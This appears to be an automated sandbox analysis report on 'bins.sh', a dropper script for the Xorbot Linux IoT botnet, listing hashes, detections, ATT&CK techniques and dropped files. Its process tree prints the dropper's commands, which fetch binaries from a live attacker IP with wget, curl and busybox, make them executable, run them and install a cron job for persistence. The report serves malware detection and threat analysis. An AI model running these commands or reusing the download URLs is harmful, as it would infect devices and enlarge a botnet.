xorbot | 56ffdc2679cf8715dddb3f56f52cf2b650f3ad220dc77610da0a897cc835a627

Analysis

max time kernel
150s
max time network
93s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
03/12/2024, 14:55

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General

Target

bins.sh
Size

10KB
MD5

3b8b6765d7640335ac5904db51941316
SHA1

41d3ed3e99d3c26185c182282f6210f3def75b91
SHA256

56ffdc2679cf8715dddb3f56f52cf2b650f3ad220dc77610da0a897cc835a627
SHA512

f24c1f8cd195a71f9392081b3aeaed8d32819c6bb4337ec57c5d0034abea6bfce3884757d5b212ce225d82033f08f16587ed8086452023ec9ce29ba1fe102f5b
SSDEEP

192:nR57dzBtlmm8DL9v3/K+0mI/nkB/VmXjh8ML+Xjh8MLgVdR5dCdBtlmmUhv3/K+f:7dzBtlmm8DL0kBdmXjh8ML+Xjh8MLqr1

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-10.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
738	chmod
745	chmod
763	chmod
788	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET	739	ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
/tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt	746	Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
/tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW	765	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
/tmp/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV	789	NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV

Renames itself 1 IoCs

pid	Process
766	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.37qfGL	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/837/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/15/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/78/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/224/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/802/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/774/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/777/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/7/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/814/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/684/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/829/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/2/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/70/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/72/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/4/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/785/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/833/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/835/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/839/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/841/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/17/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/144/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/373/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/809/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/10/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/772/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/6/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/317/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/36/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/780/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/801/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/847/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/705/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/818/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/843/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/714/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/22/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/23/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/79/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/797/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/819/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/845/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/3/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/703/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/704/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/776/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/343/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/827/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/8/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/16/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/384/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/530/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/804/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/12/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/13/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/372/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/779/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/789/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/14/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
File opened for reading	/proc/485/cmdline	q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET	wget
File opened for modification	/tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt	wget
File opened for modification	/tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW	wget
File opened for modification	/tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW	curl
File opened for modification	/tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW	busybox
File opened for modification	/tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET	curl
File opened for modification	/tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET	busybox
File opened for modification	/tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt	curl
File opened for modification	/tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt	busybox
File opened for modification	/tmp/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  - Writes file to tmp directory
  PID:715
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:729
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  - Writes file to tmp directory
  PID:737
- /bin/chmod
  chmod 777 ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  ./ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  - Executes dropped EXE
  PID:739
- /bin/rm
  rm ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET
  2⤵
  PID:741
- /usr/bin/wget
  wget http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  - Writes file to tmp directory
  PID:742
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod 777 Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  ./Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt
  2⤵
  PID:748
- /usr/bin/wget
  wget http://216.126.231.240/bins/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
  2⤵
  - Writes file to tmp directory
  PID:749
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
  2⤵
  - Writes file to tmp directory
  PID:759
- /bin/chmod
  chmod 777 q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
  ./q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:765
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:767
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:768
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:770
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:771
- /bin/rm
  rm q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW
  2⤵
  PID:774
- /usr/bin/wget
  wget http://216.126.231.240/bins/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV
  2⤵
  PID:778
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV
  2⤵
  PID:780
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV
  2⤵
  - Writes file to tmp directory
  PID:782
- /bin/chmod
  chmod 777 NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV
  ./NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV
  2⤵
  - Executes dropped EXE
  PID:789
- /bin/rm
  rm NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV
  2⤵
  PID:792
- /usr/bin/wget
  wget http://216.126.231.240/bins/aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV
  2⤵
  PID:796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/var/spool/cron/crontabs/tmp.37qfGL

Filesize
210B

MD5
ae58b9f46e3f75113e74360801ed5152

SHA1
f9de36c9489898f12ec90235b588f59e70b70d62

SHA256
894763eb9b261a023a6353c46ad1582b40e81790941045ad6cfbe51fd900aa22

SHA512
44b61b4a02514c5ca13af2089e7234fc05f4b172a65a6ad1ef3ccb7ccfe7eff512e2afb31c72eabc045d8ba3bd1252e1a083280cc73886c475a8633cf6cb53da

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads